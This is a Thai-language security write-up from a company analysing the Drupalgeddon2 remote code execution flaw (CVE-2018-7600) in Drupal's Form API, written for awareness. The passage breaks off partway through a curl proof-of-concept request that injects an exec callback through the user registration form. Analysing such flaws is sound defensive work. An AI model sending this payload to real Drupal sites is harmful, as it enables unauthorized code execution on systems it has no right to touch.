วิเคราะห์โค้ดโจมตีช่องโหว่ Drupalgeddon2 (CVE-2018-7600)

สรุปย่อ
หลังจากโครงการ Drupal ประกาศพบช่องโหว่ร้ายแรงรหัส CVE-2018-7600 หรือ SA-CORE-2018-002 ซึ่งเป็นช่องโหว่ประเภท Remote Code Execution (RCE) ที่มีผลกระทบโดยตรงกับ Drupal เวอร์ชั่น 7.x, 8.3.x, 8.4.x และ 8.5.x เมื่อวันที่ 28 มีนาคมที่ผ่านมานั้น ในตอนนี้โค้ดสำหรับโจมตีช่องโหว่ดังกล่าวก็ได้มีการถูกเผยแพร่ออกสู่สาธารณะและถูกนำมาใช้ในการโจมตีจริงแล้ว ทีมผู้เชี่ยวชาญด้านความปลอดภัยบนเว็บแอปพลิเคชันจาก บริษัท ไอ-ซีเคียว จำกัด จึงจะขอนำช่องโหว่และโค้ดสำหรับโจมตีช่องโหว่มาอธิบายเพื่อสร้างความตระหนักรู้ซึ่งจะนำไปสู่การควบคุมและจัดการความเสี่ยงที่จะถูกโจมตีโดยช่องโหว่นี้ครับ

Drupal เป็นโครงการซอฟต์แวร์แบบโอเพนซอร์สในรูปแบบของตัวจัดการเนื้อหาบนเว็บไซต์ (Content Management System - CMS) ซึ่งได้รับความนิยมและถูกใช้งานมากมายทั่วโลก สำหรับช่องโหว่ล่าสุดคือ Drupalgeddon2 นั้น ที่มาที่แท้จริงยังคงเกิดจากปัญหายอดนิยมคือประเด็นของการตรวจสอบข้อมูลนำเข้า (input) ที่ถูกส่งมายัง Form API ซึ่งไม่สมบูรณ์มากพอ ทำให้เกิดช่องโหว่ด้านความปลอดภัยที่ผู้ประสงค์ร้ายสามารถรันโค้ดที่เป็นอันตรายได้
ทำความรู้จัก Form API
Form API เป็น API รูปแบบหนึ่งใน Drupal ซึ่งมีการใช้งานรูปแบบการเก็บข้อมูลที่เรียกว่า Renderable Arrays โดยรูปแบบการเก็บข้อมูลชนิดนี้นั้นเป็นส่วนเสริมที่สร้างขึ้นมาเพื่อใช้ในการแสดงโครงสร้างรวมไปถึงส่วนประกอบต่าง ๆ ของ Drupal

ข้อมูลใน Renderable Arrays นั้นจะถูกเก็บอยู่ในรูปแบบของอาเรย์ที่มี key และ value ซึ่งจะถูกเรียกใช้ในแต่ละครั้งที่มีการพยายามแสดงผล (render) จาก API ข้อมูลในส่วนของ key ภายในอาเรย์นั้นจะถูกระบุโดยมีการใช้เครื่องหมาย # (hash) นำหน้าค่าของ key เสมอ

Form API นั้นมีการใช้งานโดยทั่วไปใน Drupal ในรูปแบบของฟอร์มสำหรับกรอกข้อมูล แต่สำหรับ Drupal ซึ่งพึ่งมีการติดตั้งใหม่นั้น ฟอร์มสำหรับกรอกข้อมูลจุดหนึ่งที่มีการใช้งาน Form API และมักจะถูกใช้งานโดยผู้ใช้เว็บไซต์เสมอนั้นคือฟอร์มสำหรับกรอกข้อมูลเพื่อสมัครสมาชิกในการเข้าสู่ระบบของเว็บไซต์

ด้วยลักษณะของฟอร์มกรอกข้อมูลที่สามารถเข้าถึงสาธารณะ ช่องโหว่ Drupalgeddon2 จึงอาศัยฟอร์มกรอกข้อมูลและปัญหาของการไม่ตรวจสอบข้อมูลนำเข้าที่ผู้ใช้งานส่งเข้าไปในรูปแบบ Renderable Arrays เพื่อควบคุมและสั่งการให้เกิดการประมวลผลที่ส่งผลกระทบต่อความปลอดภัยได้
การโจมตีช่องโหว่
อ้างอิงจากบทวิเคราะห์ช่องโหว่จาก CheckPoint และ Dofinity พร้อมโค้ดสำหรับโจมตีช่องโหว่ Drupalgeddon2 ซึ่งถูกเผยแพร่ออกมานั้น หนึ่งในตัวอย่างของการโจมตีช่องโหว่สามารถทำได้โดยผ่าน curl อ้างอิงจาก @IamSecurity ในรูปแบบดังนี้
$ curl -s -X 'POST' --data 'mail[%23post_render][]=exec&mail[%23children]=pwd&form_id=user_register_form' 'http://drupal.